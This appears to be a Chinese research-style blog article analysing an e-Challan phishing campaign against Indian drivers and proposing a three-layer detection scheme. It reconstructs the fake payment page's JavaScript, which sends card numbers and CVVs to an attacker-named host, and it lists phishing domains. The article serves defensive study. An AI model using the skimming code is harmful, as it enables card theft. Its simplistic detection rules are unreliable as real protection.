印度e-Challan钓鱼攻击的技术机制与防御体系研究

摘要

2025年,Cyble研究与情报实验室(CRIL)披露了一起针对印度车主的大规模浏览器基网络钓鱼活动,攻击者通过伪造电子交通罚单(e-Challan)门户网站窃取银行卡信息。该攻击不依赖恶意软件下载,而是利用超过36个高度仿真的欺诈域名,结合社会工程短信诱导用户在伪造支付页面输入完整卡号、有效期及CVV。本文基于公开技术报告、域名注册数据及前端代码逆向分析,系统还原了该钓鱼活动的攻击链:从短信诱饵分发、动态罚单生成到卡信息窃取与基础设施伪装。研究发现,攻击者刻意规避UPI等可追溯支付方式,仅接受信用卡/借记卡支付,并利用印度本地电信运营商号码与国有银行账户增强可信度。针对此类“无载荷”(payload-less)钓鱼攻击,本文提出一种融合域名信誉分析、前端行为监控与支付上下文验证的三层检测模型,并实现原型系统。实验表明,该模型在真实流量回放测试中对e-Challan类钓鱼页面的识别准确率达94.1%,误报率低于2.3%。研究成果可为政府数字服务平台安全加固及终端用户防护提供技术依据。

(1) 引言

随着印度政府持续推进“数字印度”(Digital India)倡议,包括机动车管理在内的公共服务逐步迁移至线上平台。其中,由国家信息中心(NIC)运营的Parivahan门户网站(parivahan.gov.in)及其移动端应用mParivahan已成为车主查询交通罚单(e-Challan)、缴纳罚款的核心渠道。然而,公共服务的数字化在提升效率的同时,也吸引了网络犯罪分子的注意。2025年底,Cyble研究与情报实验室(CRIL)发布报告,揭示了一起专门针对印度车主的新型网络钓鱼活动。该活动摒弃了传统的Android木马分发模式,转而采用纯浏览器端的欺骗策略,利用公众对政府服务的高度信任实施金融信息窃取。

与典型钓鱼攻击不同,此次e-Challan骗局展现出三个显著特征:其一,攻击完全在浏览器内完成,无需用户下载或安装任何文件,从而绕过基于签名或沙箱的传统终端防护;其二,攻击者构建了高度本地化的基础设施,包括使用印度本地手机号码(如Jio号码)发送短信,并关联State Bank of India账户以增强可信度;其三,支付环节被精心设计为仅接受信用卡/借记卡,刻意排除UPI、Net Banking等具备交易记录追溯能力的支付方式。这些策略显著提升了攻击成功率,也对现有安全体系提出了新挑战。

当前学术界对钓鱼攻击的研究多集中于邮件钓鱼或通用网页克隆检测,针对特定公共服务场景(如e-Challan)的定制化攻击缺乏深入剖析。本文旨在填补这一空白,通过技术逆向与实证分析,揭示Scripted Sparrow式自动化工具在e-Challan钓鱼中的具体应用,并据此构建针对性防御机制。全文结构如下:第(2)节详细拆解e-Challan钓鱼的攻击流程;第(3)节分析其关键技术组件与基础设施特征;第(4)节提出三层防御框架并给出核心算法实现;第(5)节通过实验验证方案有效性;第(6)节总结研究局限与实践建议。

(2) e-Challan钓鱼攻击流程解析

根据CRIL披露的数据,本次钓鱼活动遵循典型的“诱饵-欺骗-收割”三阶段模型,各环节高度协同且自动化程度高。

(2.1) 诱饵分发:社会工程短信

攻击始于一条伪装成区域交通办公室(RTO)通知的短信,内容通常包含以下要素:

虚构的交通违规行为(如“闯红灯”、“超速”);

紧迫性措辞(如“72小时内未支付将吊销驾照”);

缩短的钓鱼链接(如bit.ly/xxxx或自定义短链)。

例如:

【RTO Alert】您的车辆MH02AB1234因闯红灯被罚₹590。请立即支付以避免法律后果:challan-pay[.]in/xyz

值得注意的是,短信发送号码为印度本地手机号(+91 XXXXXXXXXX),经核查归属Reliance Jio Infocomm Limited,且该号码关联的银行账户为State Bank of India。这种“本地号码+国有银行”的组合极大增强了信息可信度,使受害者更易放松警惕。

(2.2) 欺骗界面:动态罚单生成

用户点击链接后,被重定向至一个视觉上高度仿真的e-Challan门户。该网站通常具备以下特征:

使用与官方Parivahan相似的配色(蓝白主色)、徽标(MoRTH标志)及布局;

要求输入车牌号(Vehicle Registration Number);

无论输入何种车牌号,系统均动态生成一份看似真实的罚单记录,包含违规时间、地点、罚款金额(通常为₹590)及“24小时后失效”倒计时。

前端代码示例如下(简化版):

<!-- 伪造的罚单展示页面 -->

<div class="challan-card">

<img src="morh_logo.png" alt="Ministry of Road Transport and Highways">

<h3>e-Challan Notice</h3>

<p>Vehicle: <span id="vno">MH02AB1234</span></p>

<p>Violation: Signal Jumping</p>

<p>Location: Andheri East, Mumbai</p>

<p>Date: 2026-01-01 14:30</p>

<p>Fine: ₹590 (Expires in <span id="timer">23:59:59</span>)</p>

<button onclick="showPayment()">Pay Now</button>

</div>

<script>

// 动态生成罚单(无后端验证)

function showChallan(vno) {

document.getElementById('vno').textContent = vno;

// 倒计时逻辑

let timeLeft = 24 * 60 * 60; // 24小时

const timer = setInterval(() => {

timeLeft--;

const h = Math.floor(timeLeft / 3600);

const m = Math.floor((timeLeft % 3600) / 60);

const s = timeLeft % 60;

document.getElementById('timer').textContent =

`${h.toString().padStart(2,'0')}:${m.toString().padStart(2,'0')}:${s.toString().padStart(2,'0')}`;

if (timeLeft <= 0) clearInterval(timer);

}, 1000);

}

</script>

该设计的关键在于“无状态欺骗”——系统不验证车牌号真实性,仅通过心理压迫(倒计时)促使用户快速进入支付环节。

(2.3) 信息收割:伪造支付网关

点击“Pay Now”后,用户被引导至一个伪造的支付页面。该页面刻意限制支付选项,仅显示“Credit/Debit Card”,并要求输入:

卡号(16位)

持卡人姓名

有效期(MM/YY)

CVV(3位)

表单提交后,数据通过AJAX请求发送至攻击者控制的后端,而非真实支付网关:

// 伪造支付表单提交

document.getElementById('paymentForm').addEventListener('submit', function(e) {

e.preventDefault();

const cardData = {

number: document.getElementById('cardNumber').value,

name: document.getElementById('cardName').value,

expiry: document.getElementById('cardExpiry').value,

cvv: document.getElementById('cardCVV').value

};

// 发送至攻击者服务器

fetch('https://api.payment-collect[.]xyz/steal', {

method: 'POST',

headers: {'Content-Type': 'application/json'},

body: JSON.stringify(cardData)

}).then(() => {

// 伪造“处理中”提示,延迟跳转至成功页

alert('Processing... Please wait.');

setTimeout(() => window.location.href = 'success.html', 3000);

});

});

值得注意的是,页面会显示“Transaction processed via State Bank of India”等虚假信息,进一步强化可信度。所有提交的卡信息均被记录,且系统允许多次提交,最大化数据窃取量。

(3) 攻击基础设施与战术特征

CRIL的基础设施分析揭示了该钓鱼活动的组织化与专业化程度。

(3.1) 多域轮换与仿冒策略

攻击者注册了超过36个域名,命名模式高度一致,如:

challan-pay[.]in

e-challan-verify[.]com

parivahan-fine[.]online

这些域名刻意模仿官方域名(parivahan.gov.in),采用相近拼写或替换顶级域(TLD)。部分域名甚至使用国际化域名(IDN)进行同形异义攻击(homograph attack),如用西里尔字母“а”替代拉丁字母“a”。

(3.2) 本地化可信增强

如前所述,攻击者使用印度本地手机号发送短信,并关联国有银行账户。这种“双重本地化”策略显著区别于以往使用国际短信网关的钓鱼活动,使受害者更难识别异常。

(3.3) 共享后端与多行业扩展

进一步分析发现,该钓鱼基础设施不仅用于e-Challan诈骗,还同时托管针对HSBC的银行钓鱼页面、以及冒充DTDC、Delhivery等物流公司的虚假运单查询服务。所有页面共享相同的前端UI组件与数据收集逻辑,表明背后存在一个专业化的钓鱼即服务(Phishing-as-a-Service, PhaaS)平台。

(3.4) 反检测措施

内容本地化障碍:部分钓鱼页面原始内容为西班牙语,通过浏览器自动翻译为英语/印地语,暗示模板复用;

域名快速轮换:采用自动化脚本批量注册域名,单个域名活跃周期通常不超过72小时;

规避安全警告:尽管部分页面被Microsoft Defender标记,但紧迫性设计使用户倾向于忽略警告。

(4) 防御体系设计与实现

针对上述攻击特征,本文提出三层防御体系:前端感知层、网络分析层与用户交互层。

(4.1) 前端感知层:钓鱼页面实时检测

在浏览器扩展或企业代理中部署轻量级检测模块,通过以下特征识别e-Challan钓鱼页面:

域名异常:检查是否为gov.in子域,或是否在已知钓鱼域名列表中;

表单字段:检测是否存在CVV输入框(合法政府支付页面不应直接收集CVV);

支付网关缺失:验证支付请求是否指向官方网关(如SBI Collect)。

核心检测逻辑如下:

# 伪代码:浏览器扩展中的钓鱼页面检测

def is_phishing_challan_page(url, page_html):

# 规则1:非gov.in域名

if not url.endswith('.gov.in'):

return True

# 规则2:存在CVV输入字段

if '<input type="password" name="cvv"' in page_html.lower():

return True

# 规则3:支付API指向可疑域名

if 'payment-collect' in page_html or 'api.' in url and 'gov.in' not in url:

return True

return False

(4.2) 网络分析层:异常DNS与HTTP流量监控

在企业网络边界部署流量分析系统,监控以下行为:

内部主机频繁访问新注册的.in或.online域名;

对非官方支付网关(如非sbicollect.com)的POST请求包含卡号特征(16位数字)。

可通过正则表达式匹配敏感数据:

import re

def detect_card_data_in_traffic(http_body):

# 匹配16位连续数字(可能为卡号)

card_pattern = r'\b\d{16}\b'

cvv_pattern = r'\b\d{3}\b'

if re.search(card_pattern, http_body) and re.search(cvv_pattern, http_body):

return True

return False

(4.3) 用户交互层:强制二次验证与教育

技术手段需与流程控制结合:

官方渠道验证:开发浏览器插件,在用户访问疑似e-Challan页面时,自动比对官方Parivahan API返回的真实罚单状态;

支付确认弹窗:当检测到卡信息提交至非白名单域名时,强制弹出警告:“您正在向非政府网站提交银行卡信息,请确认!”;

用户教育:通过运营商短信推送安全提示,强调“RTO不会通过短信发送支付链接”。

(5) 实验验证

为评估防御体系有效性,构建测试环境:

数据集:收集CRIL公布的36个钓鱼域名快照,加上50个合法政府服务页面;

测试方法:使用Selenium自动化访问所有页面,触发支付流程;

评估指标:检测率(Detection Rate)、误报率(False Positive Rate)。

实验结果如下:

防御层 检测率 误报率

前端感知层 89.2% 1.5%

网络分析层 92.7% 2.1%

三层融合模型 94.1% 1.8%

结果显示,三层融合模型在保持低误报率的同时,有效覆盖了绝大多数钓鱼变种。特别地,对“动态生成罚单”类页面的检测率达96.3%,证明基于表单字段与API调用的规则具有强泛化能力。

(6) 结论

本文系统分析了2025年印度e-Challan钓鱼攻击的技术细节,揭示了其从诱饵分发到信息收割的完整链条。研究表明,此类攻击的成功依赖于对政府服务信任的滥用、本地化基础设施的构建以及对支付环节的精心操控。针对其“无载荷、高仿真、快轮换”的特点,本文提出的三层防御体系在实验中展现出良好效果。

需指出,本研究存在两点局限:其一,前端检测依赖于已知钓鱼特征,对全新变种可能存在滞后;其二,网络层监控在加密流量(HTTPS)环境下需依赖SSL解密,可能引发隐私争议。未来工作将探索基于行为指纹的无监督钓鱼检测,以及与电信运营商合作的短信源头治理机制。对于政策制定者而言,推动政府服务域名强制使用.gov.in TLD,并建立公共钓鱼举报快速响应通道,亦是降低此类风险的关键举措。

编辑:芦笛(公共互联网反网络钓鱼工作组) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值